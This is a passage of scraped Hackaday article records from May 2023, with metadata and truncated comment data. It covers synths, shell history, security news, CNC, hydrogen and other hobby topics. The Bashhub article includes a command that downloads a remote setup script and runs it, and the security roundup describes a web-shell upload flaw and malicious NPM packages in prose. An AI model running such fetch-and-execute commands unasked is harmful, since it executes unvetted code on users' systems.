DIY wind tunnel
to see how they perform. | 13 | 7 | [
{
"comment_id": "6639892",
"author": "Rex",
"timestamp": "2023-05-07T14:29:23",
"content": "So litter from the stratosphere. I have the same problem with helium balloons.",
"parent_id": null,
"depth": 1,
"replies": [
{
"comment_id": "6640639",
"author": "Mark Shek",... | 1,760,372,308.495184 | ||
https://hackaday.com/2023/05/07/an-rpi-powered-multi-dx7-tx816-style-synth/ | An RPi-Powered Multi-DX7/TX816 Style Synth | Dave Rowntree | [
"Musical Hacks"
] | [
"fm synthesis",
"hardware orchestra",
"lo-fi",
"midi",
"modular synth",
"PCM5102",
"Yamaha TX816"
] | [Kevin] over at Simple DIY ElectroMusic Projects has released a
complete DIY modular design
for simulating the classic 80s
Yamaha TX816 DX/FM modular digital synthesizer
. This beast of a synth was used by the cool bands of the 80s as well as TV studios, and ownership of the original machine is an expensive investment. But with the power of modern hackable electronics, and the
MiniDexed firmware running bare-metal on a Raspberry Pi
getting access to a compatible synth doesn’t have to break the bank.
[Kevin] wanted to emulate the look and feel of the original TX816 aesthetic, developing a custom PCB handling the user interface for four of the eight channels, and a second acting as an interface to the Raspberry Pi using a
Pico. Also sitting on this PCB is the
GY-PCM5102 I
2
S DAC
, and the MIDI connectors needed to connect to the system controller. Both PCBs, including a PCB-based front panel, were developed with KiCAD. The firmware for the Pico part of the system can be found on the
firmware GitHub
. The
video demo
(embedded below) shows off the system running a very 80s-sounding rendition of Holst’s famous ‘Jupiter’ from the planet series, and we all agree it sounds pretty sweet. For a complete rundown of the build, here are the links for the blog series for ease of access:
Intro
,
PCBs
,
Panel
,
Build Guide
,
Mechanical
,
Pico/TX816 IO code
, and finally
usage
. Phew!
If MiniDexed sounds familiar, that is because we featured another of [Kevin’s]
earlier MiniDexed projects a little while ago. | 16 | 6 | [
{
"comment_id": "6639864",
"author": "mseg",
"timestamp": "2023-05-07T12:23:22",
"content": "In high shcool we used to have similiar setup for controlling our little weed operation, temperature, water etc.",
"parent_id": null,
"depth": 1,
"replies": []
},
{
"comment_id": "6639899... | 1,760,372,308.615071 | ||
https://hackaday.com/2023/05/05/linux-fu-supercharge-bash-history/ | Linux Fu: Supercharge Bash History | Al Williams | [
"Featured",
"Linux Hacks",
"Slider"
] | [
"bash",
"linux"
] | Having a history of shell commands is a great idea. It is, of course, enormously handy when you have to run something repetitively or you make a simple mistake that needs correction. However, as I’ve mentioned in the past, bash history isn’t without its problems. For one thing, by default, you don’t get history in one window from typing in another window. If you use a terminal multiplexer or a GUI, you are very likely to have many shells open. You can make them share history, but that comes with its own baggage. If you think about it, we have super fast computers with tons of storage compared to the “old days,” yet shell history is pretty much the same as it has been for decades. But [Rcaloras] did think about it and created
Bashhub
, a history database for bash, zsh, and probably some other shells, too.
Command detail screen
You might think you don’t need anything more than what you have, and, of course, you don’t. However, Bashhub offers privately stored and encrypted history across machines. It also provides context about commands you’ve executed in the past. In other words, you can see the directory you were in, the exact time and date, the system you were on, and the last return code of the command.
They Call Me the Seeker
The best part, though, is you can easily search through your history using all that information. So if you want to know the last command you ran in the ~/.ssh directory of your computer named FISHMONGER (we don’t judge), then you can search for that.
You can also make searches interactive as you probably expect from history. In other words, you type, and it shows you things that match, giving you less and less as you type more.
Privacy, Please
Of course, some will be nervous about having history stored somewhere, and that’s a legitimate concern. The developers claim the data is encrypted and private, but it is stored on a server via https, not on your local machine. In addition, you can turn recording off and delete commands as you see fit. The history mechanism doesn’t record passwords you enter at a prompt and, honestly, if you are putting in sensitive data on the command line, you should probably think about the wisdom of that, anyway.
There is a way to put in a filter if there are things you really don’t ever want to put into history. Or add #ignore to the end of a command to keep it out of history. Of course, that all assumes you trust the developer to respect filters, store data encrypted, and all that.
What worries us more, however, is that it costs something to run that server. So we imagine eventually, they will want to charge for the service or it will go away. The code is on GitHub so, presumably, you could self-host it, if you were willing to work that out, but that seems like a lot of work.
Honestly,…
We like the idea. We’d have been just as happy, though, to have the history file located somewhere we could at least marginally control. Most people that would use this have some sort of publically-accessible server these days, and there are many cloud storage options.
However, if you don’t mind sending your history data over a presumably encrypted connection to a presumably encrypted database, maybe try it. It seems easy to uninstall. According to the documentation, you just remove ~/.bashhub. Of course, that leaves a little stub in your startup file that looks to see if that directory exists, but that’s harmless.
Installation is easy too:
curl -OL https://bashhub.com/setup && $SHELL setup
You can plug in the value of
$SHELL
manually if you like and use bash, zsh, or fish.
Examples
Want to find your last 10 emacs commands?
bh -n 10 "emacs"
Or make the search interactive (you can also integrate with fzf, if you like):
bh -i "emacs"
What are the last few commands you ran in /tmp?
bh -n 3 -d /tmp
It Works!
It works well and doesn’t seem to slow things down, although, with today’s computers and network connections, it is hard to tell. Running it on old hardware might be a different story. We can imagine some improvements like being able to find a line in history and turning it into an alias or saving it to a script. Statistic junkies might want to grab the raw data and answer questions like “What was my most used program on host computer DARKSTAR?”
We’ve talked about
fzf
before, and this works nicely with Bashhub. We wish we could store the database locally and
sync it
between our machines ourselves. | 18 | 14 | [
{
"comment_id": "6639388",
"author": "The Mighty Buzzard",
"timestamp": "2023-05-05T19:11:06",
"content": "If you don’t want your cli history on the Internet, you can always put this at the end of your $HOME/.bashrc:export PROMPT_COMMAND=”history -a; history -c; history -r; ${PROMPT_COMMAND};”Keep i... | 1,760,372,308.556965 | ||
https://hackaday.com/2023/05/05/hackaday-podcast-217-the-unintentional-space-and-3d-printing-episode/ | Hackaday Podcast 217: The Unintentional Space And 3D Printing Episode | Tom Nardi | [
"Hackaday Columns",
"Podcasts",
"Slider"
] | [
"Hackaday Podcast"
] | Hackaday Editors Elliot Williams and Tom Nardi definitely didn’t
plan
on devoting most of this episode to 3D printing and space stories, but let’s be honest, it was bound to happen sooner or later. After an update on the Hackaday Prize, the discussion moves on to a pair of troubled spacecraft and the challenges of exploring the final frontier. From there you’ll hear about a chocolate 3D printer we’ve had our eyes on for years, the tools you should have next to your own (non-chocolate) 3D printer, and a bit of contemplation of what it really means to design for 3D printing versus traditional manufacturing methods. But it’s not all plastic fantastic — by the end of the episode you’ll also hear about some particularly bold high-altitude aviators and the surprisingly short time we have left with the humble barcode.
Check out the links below if you want to follow along, and as always, tell us what you think about this episode in the comments!
Going to be stranded on a desert island?
Download the podcast now
!
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Places to follow Hackaday podcasts:
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Check
out our Libsyn landing page
Episode 217 Show Notes:
News:
ESA’s Jupiter-bound Probe Hits Antenna Snag
What’s that Sound?
If you know what the sound was,
fill out the form
to let us know!
Interesting Hacks of the Week:
Kerfmeter Measures Laser Cutter Kerf Allowances On The Fly
Moon Mission Failures, Or Why Are Lunar Landings So Hard?
Compressed Air Keeps Screws Moving Through Modular Production System
A Case For Project Part Numbers
Cocoa Press Chocolate 3D Printer Offered As DIY Kit
Maker Faire NY: Cocoa Press Chocolate Printer
Cheap Deburring Tool Is Game Changer For 3D Printing
Locally Sourced: PLA Adhesive
Using An Old Smartphone In Place Of A Raspberry Pi
Quick Hacks:
Elliot’s Picks:
Hackaday Prize 2023: Explore The Basics Of Neuroscience With This Electronic Neuron
Recreating A Non-Standard USB Cable
Op Amp Challenge: What’s Your Monitor’s Delay?
The Cheap And Available Microwave Playground
Tom’s Picks:
LED Matrix Displays Get New Look Thanks To SMD Stencils
Hackaday Prize 2023: Tiny RC Aircraft Built Using Foam And ESP12
Building A WiFi Picture Frame With An EInk Display
Can’t-Miss Articles:
Rising To The Occasion: A Brief History Of Crewed High Altitude Balloons
Barcodes Enter The Matrix In 2027 | 0 | 0 | [] | 1,760,372,308.446127 | ||
https://hackaday.com/2023/05/05/a-history-of-nasa-supercomputers-among-others/ | A History Of NASA Supercomputers, Among Others | Dave Rowntree | [
"computer hacks",
"History"
] | [
"CFD",
"cray",
"history",
"nasa",
"supercomputer"
] | The History Guy
on YouTube has posted an interesting video on
the history of the supercomputer
, with a specific focus on their use by NASA for the implementation of
computational fluid dynamics
(CFD) models of aeronautical assemblies.
The aero designers of the day were quickly finding out the limitations of the wind tunnel testing approach, especially for so-called transonic flow conditions. This occurs when an object moving through a fluid (like air can be modeled) produces regions of supersonic flow mixed in with subsonic flow and makes for additional drag scenarios. This severely impacts aircraft performance. Not accounting for these effects is not an option, hence the great industry interest in CFD modeling. But the equations for which (usually based around the Navier-Stokes system) are non-linear, and extremely computationally intensive.
Obviously, a certain Mr. Cray is a prominent player in this story, who, as the story goes, exhausted the financial tolerance of his employer, CDC, and subsequently formed Cray Research Inc, and the rest is (an interesting) history. Many Cray machines were instrumental in the development of the space program, and now adorn computing museums the world over. You simply haven’t lived until you’ve sipped your weak lemon drink whilst sitting on the ‘bench’ around an early Cray machine.
You see, supercomputers are a different beast from those machines mere mortals have access to, or at least the earlier ones were. The focus is on pure performance, ideally for floating-point computation, with cost far less of a concern, than getting to the next computational milestone. The Cray-1 for example, is a 64-bit machine capable of 80 MIPS scalar performance (whilst eating over 100 kW of juice), and some very limited parallel processing ability.
While this was immensely faster than anything else available at the time, the modern approach to supercomputing is less about fancy processor design and more about the massive use of parallelism of existing chips with lots of local fast storage mixed in. Every hacker out there should experience these old machines if they can, because the tricks they used and the lengths the designers went to get squeeze out every ounce of processing grunt, can be a real eye-opener.
Want to see what happens when you really push out the boat and use the whole wafer for parallel computation?
Checkout the Cerberus
. If your needs are somewhat less, but dabbling in parallel computing gets you all pumped, you could
build a small array out of Pine64s
. Finally, the story wouldn’t be complete without talking about the
life and sad early demise of Seymour Cray
. | 8 | 3 | [
{
"comment_id": "6639347",
"author": "SteveS",
"timestamp": "2023-05-05T16:39:40",
"content": "If you ever get a chance to examine an old early-model Cray up close you should do it.They’re an amazing example of “form follows function”The racks of simple cards are pie-shaped, with the processing elem... | 1,760,372,308.662703 | ||
https://hackaday.com/2023/05/05/this-week-in-security-oracle-opera-passkeys-and-airtag-rfc/ | This Week In Security: Oracle Opera, Passkeys, And AirTag RFC | Jonathan Bennett | [
"Hackaday Columns",
"News",
"Security Hacks",
"Slider"
] | [
"AirTag",
"Log4j",
"Oracle",
"This Week in Security"
] | There’s a problem with Opera. No, not that kind of opera. The Oracle kind. Oracle OPERA is a Property Management Solution (PMS) that is in use in a bunch of big-name hotels around the world. The PMS is the system that handles reservations and check-ins, talks to the phone system to put room extensions in the proper state, and generally runs the back-end of the property. It’s old code, and handles a bunch of tasks. And
researchers at Assetnote found a serious vulnerability
. CVE-2023-21932 is an arbitrary file upload issue, and rates at least a 7.2 CVSS.
It’s a tricky one, where the code does all the right things, but gets the steps out of order. Two parameters,
jndiname
and
username
are encrypted for transport, and the sanitization step happens before decryption. The username parameter receives no further sanitization, and is vulnerable to path traversal injection. There are two restrictions to exploitation. The string encryption has to be valid, and the request has to include a valid Java Naming and Directory Interface (JNDI) name. It looks like these are the issues leading Oracle to consider this flaw “difficult to exploit vulnerability allows high privileged attacker…”.
The only problem is that the encryption key is global and static. It was pretty straightforward to reverse engineer the encryption routine. And JDNI strings can be fetched anonymously from a trio of endpoints. This lead Assetnote to conclude that Oracle’s understanding of the flaw is faulty, and a much higher CVSS score is appropriate. Particularly with this Proof of Concept code, it is relatively straightforward to upload a web shell to an Opera system.
The one caveat there is that an attacker has to get network access to that install. These aren’t systems intended to be exposed to the internet, and my experience is that they are always on a dedicated network connection, not connected to the rest of the office network. Even the interconnect between the PMS and phone system is done via a serial connection, making this network flaw particularly hard to get to.
Passkeys Are Here
I
n case you missed the hype,
passwords are dead, apparently
. The replacement is the
Passkey
, a public/private keypair that is managed by the security processor on the user’s device. What’s new this week is yet another big service rolling out support for Passkeys for everyone. Google in this case, now offers Passkey logins for all personal Google accounts.
For all the hype, it’s worth pointing out that passkeys are just passwords, with all the best-practice options mandated. It’s a string of data that isn’t based on dictionary words, is stored securely by a credential manager, is never re-used across sites, never expires, and is only used in secure cryptographic proofs. Oh, and Chrome on MacOS and on some Windows 10 and 11 installs can handle passkeys. But sadly there’s no love for Linux users yet.
Location Tracker RFC
Apple’s AirTags have found some unexpected uses by clever folks. From
tracking mail routes
to
recovering stolen scooters
. But unfortunately, there’s been
some less-than-ethical uses
, too. Stalking is a crime, and it’s a bad look for Apple’s gadgets to trivially enable it. So, engineers from Apple and Google put their heads together, and came up with
an RFC on detecting unwanted location trackers
.
The basic requirements of the RFC are that trackers use Bluetooth Low Energy (BLE) to communicate, and support talking to non-owners over BLE. This connection allows a non-owner to identify when a device is following along. The device needs to have some way to make noise, so the trackee can physically locate the device, and most importantly, have a built-in method to disable the tracker. Essentially, there has to be a button to turn the tracking off. It seems like this will effectively prevent the use of AirTags as a malicious tracker. Unfortunately, it also seems like it will put an end to the biggest legitimate use of AirTags — theft prevention. It’s really not obvious how to prevent digital stalking, and still enable the tracking of stolen physical goods.
Cloud Smishing
This particular story is full of surprises, like discovering that Amazon AWS has a text message service, Amazon Simple Notification Service (SNS). And furthermore, text-based phishing is common enough, it has a fancy, dedicated name: Smishing. And the last realization is that
it’s one more thing to abuse when an attacker manages to access an AWS account
.
The theory is that legitimate users may have already been getting text messages from the service, so sending a smishing message through the same service might be more likely to succeed. So now we know, there’s one more thing to watch out for.
Bits and Bytes
So you’re doing a network capture, have a data stream in the clear, and capture a binary blob going over the wire. What is it? An encrypted file? Something Protobuf encoded?
[Ron] at SkullSecurity had exactly this situation
, and after trying multiple dead-ends, he finally turned to the humble
file
command. That’s an ancient Unix command, that reads the magic bytes at the beginning of a file and attempts to determine the file type. It worked with the mystery stream, too. Turns out it was zlib compressed data. Neat!
Ever wondered what exactly those various malicious NPM packages do?
[Gaby Dobocan] at Sandworm has us covered
, reviewing 5 malicious NPM packages going all the way back to 2018. Some packages just run a remote script, while others leaked environment variables inside a remote HTTP request. The most fun is
alicov
, which finishes running remote code, and then informs the user that they’ve been had.
It’s another week, and so
we have another trio of exploited flaws on CISA
. This time it’s a pre-auth Remote Code Execution problem in TP-Link’s Archer AX21 routers. Oracle’s WebLogic patched a RCE problem in January, and while that one just made the list, it seems to already be back off the radar of active exploitation. The last one is another problem in Log4j, a sister-vulnerability to the notorious Log4Shell issue. It seems to be less widespread, but is also an RCE. And that’s it for this week. Stay safe cruising the hyperwebs! | 10 | 5 | [
{
"comment_id": "6639349",
"author": "Ostracus",
"timestamp": "2023-05-05T16:53:52",
"content": "Yubikeys are ready.https://www.yubico.com/blog/a-yubico-faq-about-passkeys/",
"parent_id": null,
"depth": 1,
"replies": []
},
{
"comment_id": "6639362",
"author": "Tomi",
"tim... | 1,760,372,308.718973 | ||
https://hackaday.com/2023/05/05/linux-cell-phone-build-ourphone/ | Linux Cell Phone? Build OURPhone | Al Williams | [
"Phone Hacks",
"Raspberry Pi"
] | [
"cell phone"
] | [Evan] couldn’t find a phone he liked, so he decided to
build his own
. There are advantages and disadvantages, as you might expect. On the plus side, you have the ultimate control. On the negative side, it doesn’t quite have the curb appeal — at least to the average user — of a sleek new cell phone from a major manufacturer.
The phone uses a Raspberry Pi, along with a 4G modem and a 480×800 touchscreen. There’s a laser cut box that measures 90x160x30 mm. For reference, a Google Pixel 7 is about 73x156x9 mm, so a little easier on the pocket.
But not one the pocketbook. The OURPhone only costs about $200 USD to build. There are trade-offs. For example, the touchscreen is resistive, so you’ll want a stylus (there’s a slot for it in the case). On the other hand, if you don’t like something, it is all there for you to change.
Obviously, a better screen would help. Thinner batteries might be a good enhancement too. But that’s the beauty of an open project. You can do all these things and more.
We wondered if you could get one of the “mobile” Linux editions to run or even
Android
. It seems like the hardest part is coming up with
a sophisticated enclosure
. | 30 | 14 | [
{
"comment_id": "6639282",
"author": "Upgrade pi-top [3]",
"timestamp": "2023-05-05T11:56:57",
"content": "Like a home brew version of the Clockwork Pi uConsole",
"parent_id": null,
"depth": 1,
"replies": [
{
"comment_id": "6639292",
"author": "socksbot",
"t... | 1,760,372,308.782906 | ||
https://hackaday.com/2023/05/05/cnc-feeds-and-speeds-explained-as-a-first-timer/ | CNC Feeds And Speeds, Explained As A First-Timer | Donald Papp | [
"cnc hacks"
] | [
"cnc",
"cutting",
"feeds",
"novice",
"speeds"
] | If you’ve ever looked into CNC cutting tools, you’ve probably heard the term “feeds and speeds”. It refers to choosing the speed at which to spin the cutting tool, and how fast to plow it into the material being cut. They’re important to get right, and some of the reasons aren’t obvious. This led
[Callan Bryant] to share his learned insights as a first-timer
. It turns out there are excellent (and somewhat non-intuitive) reasons not to simply guess at the correct values!
A table of variables and how they relate to one another (click to enlarge).
The image above shows a tool damaged by overheating. [Callan] points out that as a novice, one might be inclined to approach a first cutting jobs conservatively, with a low feed rate. But doing this can have an unexpected consequence: a tool that overheats due to spinning too quickly while removing too little material.
CNC cutting creates a lot of heat from friction, and one way to remove that heat is by having the tool produce shavings, which help carry heat away. If a tool is making dust instead of shavings — for example if the feed rate is too conservative — the removed pieces will be too small to carry significant energy, and the tool can overheat.
[Callan] makes a table of variables at work in a CNC system in order to better understand their relationship before getting into making a formula for calculating reasonable feed and speed rates. Of course, such calculations are a reasonable starting point only, and it’s up to the operator to ensure things are happening as they should for any given situation. As our own Elliot Williams observed,
CNC milling is a much more manual process than one might think
. | 35 | 8 | [
{
"comment_id": "6639246",
"author": "C",
"timestamp": "2023-05-05T08:23:15",
"content": "I wondered if you could simply cool the tool by adding a vapor chamber inside the tool. I just read an old article about it applied to a drill bit, so I guess it’s possible, but I don’t know if they are availab... | 1,760,372,308.977391 | ||
https://hackaday.com/2023/05/04/nvidia-jetson-powers-real-time-iron-man-hud/ | NVIDIA Jetson Powers Real-Time Iron Man HUD | Tom Nardi | [
"Video Hacks",
"Wearable Hacks"
] | [
"augmented reality",
"heads-up",
"iron man",
"iron man helmet",
"Nvidia Jetson"
] | If you could recreate any of the capabilities of Tony Stark’s Iron Man suit in real life, it would probably be the ability to fly, the super strength, or maybe even the palm-mounted lasers that can cut through whatever obstacle is in your path. But let’s be real, all that stuff is way too hard to try and pull off. Plus you’ll probably just end up accidentally killing yourself in the backyard.
But judging by the videos he’s been posting,
[Kris Kersey] is doing one hell of a job creating a functional heads-up display
(HUD) similar to the one Tony uses in the films. He’s even building it into a 3D printed Iron Man helmet, with the NVIDIA Jetson board that’s powering the show inside a chest-mounted “Arc Reactor”. He goes into a bit more detail about the project and his goals in an
interview recently published on NVIDIA’s own blog
.
Dual 2K 120 Hz displays provide sharp visuals
The HUD shows [Kris] an impressive amount of information, such as his current compass heading, GPS position on a moving map, the tilt angle of his head, and various internal and external temperatures. Perhaps most impressively, it uses the computational power of the Jetson Nano to perform real-time object detection that highlights individuals as they come into his field of view. While that last function doesn’t appear to have a practical application, seeing the HUD rapidly rendering a targeting reticle over each person certainly
looks
like something out of a sci-fi film.
In the first video below, [Kris] takes the viewer through the process of building and testing the HUD system, which includes plenty of footage recorded through the helmet’s digital eyes. In the second video, he provides an update on the HUD’s performance when he switches out the original NVIDIA Jetson Xavier NX board for the newer NVIDIA Jetson Orin Nano —
which we took a look at back when it released back in March
.
This isn’t actually the first time we’ve seen somebody create their own Iron Man helmet with a digital HUD. But with
all due respect to those previous attempts
, what [Kris] has accomplished here doesn’t just raise the bar — it launches it into orbit. | 15 | 5 | [
{
"comment_id": "6639219",
"author": "Upgrade pi-top [3]",
"timestamp": "2023-05-05T06:01:05",
"content": "“or maybe even the palm-mounted lasers that can cut through whatever obstacle is in your path. But let’s be real, all that stuff is way too hard to try and pull off” – Hacksmith gave this a pre... | 1,760,372,309.034355 | ||
https://hackaday.com/2023/05/04/hacking-hue-lightbulbs/ | Hacking Hue Lightbulbs | Al Williams | [
"LED Hacks",
"Teardown"
] | [
"hue",
"led",
"Phillips Hue"
] | What do you do with a Hue smart lightbulb? Well, if you are [Chris Greening], you
take it apart and get hacking
. If you ever wondered what’s inside, the teardown is pretty good, and you can also watch the video below. The potting compound, however, makes a mess.
Once you get the potting undone, there are three PCBs: an LED carrier, a power supply, and a logic board. The arrangement of the LEDs is a bit confusing, but [Chris] explains it along with providing schematics for all of the boards.
The odd LED arrangement allows the logic board to short out banks of LEDs. The next step was to hijack the RGB signals to allow an external microcontroller to take charge of the bulb. One LED driver chip drives everything. Shorting out banks with a cheap MOSFET allows one chip to drive the LEDs in multiple colors.
This is an interesting look inside a production smart bulb. We aren’t sure we’d really want to reuse one of these, but maybe if you had a bad power board, it would be better than trashing the relatively expensive bulbs.
We’ve seen other lights
hacked to work with Hue
. You can even
hack together your own bridge
if you like. | 13 | 6 | [
{
"comment_id": "6639124",
"author": "Menga",
"timestamp": "2023-05-05T02:32:57",
"content": "Very clever way of driving 5 channels of LEDs with a single constant current power supply. I’ve always thought each channel was driven by simply a pwm signal with a feedback or something.",
"parent_id":... | 1,760,372,309.08039 | ||
https://hackaday.com/2023/05/04/easters-over-but-you-can-still-dye-keycaps/ | Easter’s Over, But You Can Still Dye Keycaps | Kristina Panos | [
"chemistry hacks",
"Misc Hacks"
] | [
"key caps",
"keycaps",
"PBT",
"PBT keycaps",
"rit dye"
] | While it’s true that keycap colorways abound these days, one can’t always find exactly what one is looking for. And once found, the set is often either prohibitively expensive, or it doesn’t come in the desired layout, or both.
So, why not color your own keycaps?
That’s exactly what [amphiboi] did, while standing on the shoulders of
[CrowningKnight]’s imgur post
on the subject. Essentially, you use Rit dye and PBT keycaps for best results. Rit has a comprehensive guide to mixing their dyes to achieve pretty much whatever colors you want. Once that’s all squared away, it’s time to gather your cooking supplies.
Starting with a pot you don’t care about and four cups of boiling water. Add about a teaspoon of dish soap, which helps the dye settle evenly across the keycaps. Then you just add the dye(s) and stir with an expendable spoon, then add your keycaps. 5-10 minutes later, depending on your desired outcome, the ‘caps are ready to be rinsed, dried, and pushed on to your switches.
Satisfied with the color of your keycaps, but wish they had cool legends?
Check out this waterslide decal tutorial
. | 11 | 6 | [
{
"comment_id": "6639087",
"author": "Chris Maple",
"timestamp": "2023-05-04T23:57:44",
"content": "I like this idea. I wonder how deep the dyes penetrate, and how well the color of the keys stands up to wear.",
"parent_id": null,
"depth": 1,
"replies": [
{
"comment_id": "6... | 1,760,372,309.900719 | ||
https://hackaday.com/2023/05/04/chatgpt-makes-a-3d-model-the-secret-ingredient-much-patience/ | ChatGPT Makes A 3D Model: The Secret Ingredient? Much Patience | Donald Papp | [
"Artificial Intelligence",
"Software Hacks"
] | [
"3d modeling",
"ai",
"ChatGPT",
"freecad",
"LLM",
"python",
"scripting"
] | ChatGPT is an AI large language model (LLM) which specializes in conversation. While using it, [Gil Meiri] discovered that one way to create models in FreeCAD is with Python scripting, and
ChatGPT could be encouraged to create a 3D model of a plane in FreeCAD
by expressing the model as a script. The result is just a basic plane shape, and it certainly took a lot of guidance on [Gil]’s part to make it happen, but it’s not bad for a tool that can’t see what it is doing.
The first step was getting
ChatGPT
to create code for a 10 mm cube, and plug that in FreeCAD to see the results. After that basic workflow was shown to work, [Gil] asked it to create a simple airplane shape. The resulting code had objects for wing, fuselage, and tail, but that’s about all that could be said because the result was almost — but not quite — completely unlike a plane. Not an encouraging start, but at least the basic building blocks were there.
What followed was a lot of back-and-forth where [Gil] would give direction and feedback like “the fuselage is in the wrong orientation, please re-write the code to move it” or “the wings are too large, please change the code to make them smaller”. Progress was slow, but with patient guidance ChatGPT eventually went from some nearly-random shapes to a basic plane model. The image on the left represents the first attempt, the middle shows the correct basic shapes lacking relative orientation, and the last image is the final result.
[Gil] decided to 3D print the result to cap off the experiment, thus creating as a physical object a 3D model that was generated in FreeCAD by ChatGPT, thanks to human guidance.
We’ve seen ChatGPT create objects in OpenSCAD
, also thanks to leveraging a text-based method of defining 3D objects. Maybe the results are not going to wow any crowds right now, but by this time next year it might be a different story. | 44 | 16 | [
{
"comment_id": "6639027",
"author": "TG",
"timestamp": "2023-05-04T20:41:28",
"content": "Awkward first steps with this sort of thing tend to lead to fairly powerful tools sooner than you’d think",
"parent_id": null,
"depth": 1,
"replies": []
},
{
"comment_id": "6639030",
"a... | 1,760,372,309.225986 | ||
https://hackaday.com/2023/05/04/op-amp-challenge-get-more-from-a-single-wire-with-an-analogue-adder/ | Op-Amp Challenge: Get More From A Single Wire With An Analogue Adder | Jenny List | [
"contests",
"hardware"
] | [
"analog",
"Op Amp Challenge",
"op-amp",
"summing amplifier"
] | It’s been a running battle in some quarters for years, whether analog sensor processing is better than digital. Proponents of digital are sometimes driven by lack of familiarity with analog circuitry, while analog die-hards point to delays and software crashes in microcontrollers. We’d probably toe the line that a mixture of the two skills is best, but [paul] has gone full-on for the analog side with his position and limit sensor for a remote telescope. The ‘scope had only one control wire carrying a digital signal, so how was he to get extra information down it? The solution was to
overlay a DC voltage, and use a summing network
composed of a series of op-amps to encode position and limit data as voltage.
In operation, the circuit is a straightforward DC summing amplifier of the type that op-amps were designed for and at which they excel. We’re not so sure it needs the high-precision resistors and the choice of op-amps seems the wrong way round with the AD8532’s high current output being better suited to driving the line than straightforward summing, but we can see it does the job. If you’re after a demonstration of a DC summing amplifier using an op-amp, here’s your project. Meanwhile if you’re curious about an op-amp inside the black box,
take a look at one of the simplest integrated circuit op-amps ever made
. | 10 | 3 | [
{
"comment_id": "6638987",
"author": "spiritplumber@gmail.com",
"timestamp": "2023-05-04T18:37:49",
"content": "My little entries for the op-amp challenge, if anyone cares :)https://www.robots-everywhere.com/re_wiki/pub/web/Cookbook.2pin2motor.htmlHow to use two bidirectional pins to control two mot... | 1,760,372,309.127438 | ||
https://hackaday.com/2023/05/04/we-already-live-in-a-hydrogen-economy-steel-production-generator-cooling-and-welding-gas/ | We Already Live In A Hydrogen Economy: Steel Production, Generator Cooling, And Welding Gas | Maya Posch | [
"Hackaday Columns",
"Science",
"Slider"
] | [] | Although generally
hydrogen
is only mentioned within the context of transportation and energy storage, by far the most useful applications are found in industrial applications, including for the chemical industry, the manufacturing of steel, as well as that of methanol and fertilizer. This is illustrated by how today most of all hydrogen produced today is used for these industrial applications, as well as for applications such as cooling turbo generators, with demand for hydrogen in these applications rapidly increasing.
Currently virtually all hydrogen produced today comes from natural gas, via steam methane reformation (SMR), with potentially
methane pyrolysis
making natural gas-derived hydrogen a low-carbon source. The remainder of hydrogen comes from coal gasification and a small fraction from electrolysis of water. The hydrogen is often produced on-site, especially at industrial plants and thermal power plants. So aside from any decarbonization efforts, there are many uses for hydrogen which the public appears to be generally unaware of.
This leads us to the somewhat controversial hydrogen ladder.
Gaseous Priorities
Some among us may already have come across the
clean hydrogen ladder
, as popularized by Michael Liebreich. This is similar to the clean hydrogen pyramid in that it tries to capture the most essential and most economical hydrogen applications. For example with the primary industrial uses highlighted, we get the following:
The controversial part of this hydrogen ladder comes mostly from the placement of categories such as ‘Long-term storage’ and ‘Off-road vehicles’, with a CleanTechnica article series (
part 1
,
part 2
) by Michael Barnard and chemical process engineer Paul Martin going into some level of detail here. As far as long-term energy storage using hydrogen goes, this is a topic that we have covered in a
previous article
on energy storage systems, along with an article on more practical
grid-level storage technologies
.
When we just focus on the ‘A’ and ‘B’ line categories that are highlighted in this image, it is important to remember that these categories contain essentially all major forms of current hydrogen usage, along with a number which were mentioned earlier, such as the use as coolant, but which are not covered in this image. The biggest use of hydrogen by far, however, is that for
ammonia
(NH
3
) production. Ammonia is used in solvents, household cleansing agent, as an antiseptic, as a refrigerant (R717), in sulfurous oxide (SO
2
) and nitrous oxide (NO
x
) scrubbers, but perhaps most essentially in the production of fertilizer.
A more controversial application of ammonia is that as a fuel, since the combustion of NH
3
in an oxygen-containing atmosphere produces various pollutants, including
N
2
O
(nitrous oxide), as noted in recent studies by
Juan D. Gonzalez et al. (2017)
and
S. Mashruk et al. (2021)
. Nitrous oxide, also known as laughing gas, is a potent greenhouse gas, and is neurotoxic, being an NMDA receptor antagonist. Due to such issues, ammonia as a fuel is unlikely to see significant use where alternatives exist.
Hot Hydrogen
Multi-stage steam turbine with turbo generator (rear, in red) at the German lignite plant Boxberg (Credit: Siemens AG)
Among gaseous
coolants
, hydrogen is a popular choice, as it has significantly higher thermal conductivity relative to other gases, has high specific heat capacity, low density and thus very low friction in applications where this really matters, such as in generators. This is why turbo generators are usually
cooled with hydrogen gas
, with the heated gas passed through a gas-to-water heat exchanger before it is recirculated. The maintenance of these hydrogen-cooled turbo generators also leads to one of the more exciting features of hydrogen: its ability to combust in air at hydrogen concentrations between 4% and 74%.
Combined with hydrogen’s auto-ignition point at 571 °C, this makes it essential to prevent leakage of air into the generator and vice versa. Before any maintenance can be performed on the turbo generator, the hydrogen has to be purged, which makes it a trade-off between increased efficiency and ease of maintenance. And as noted earlier, most power plants have an on-site electrolyser to generate replacement hydrogen when they need to.
Hydrogen’s thermal conductivity is also why it is used in some welding gases, with certain
studies claiming
that it improves weld quality on even lower quality steel. When looking at the
various blends
from a single manufacturer, Linde HydroStar shielding gas, these are argon/hydrogen blends with the hydrogen percentage ranging from 2% to 35%. In the absence of an oxygen atmosphere, TIG welding using hydrogen as part of the shielding gas is not risky, though it makes the need for constant ventilation even more important than with argon/CO
2
and other blends.
As long as all of the requirements for a violent hydrogen explosion are not met, it is after all perfectly safe and a very useful gas, especially when it comes to welding tricky materials, such as stainless steel. Which ties into a fairly new and still developing use of hydrogen, in the reduction of iron oxide and the production of so-called ‘green steel’.
Dirty Steel
As ubiquitous as
steel
is in modern-day society, the production of this material from iron ore has change little from the 17th century, when the invention of the
blast furnace
first expedited the production process and made it into a commodity. Originally these blast furnaces used mostly charcoal as the carbon source, but this later got replaced with
coke
as the Industrial Revolution kicked off. This is essentially what we’re still using today in modern day blast furnaces.
Magnetite from Bolivia (Credit: Robert M. Lavinsky)
The iron ore is generally mined in the form of an iron oxide such as
magnetite
(
Fe
2+
Fe
3
+2
O
4
) or
hematite
(Fe
2
O
3
), which is then reduced in the blast furnace by exposing the iron oxide to a substance such as carbon, with which the oxygen binds more readily than with iron. This redox reaction leads to the production of
pig iron
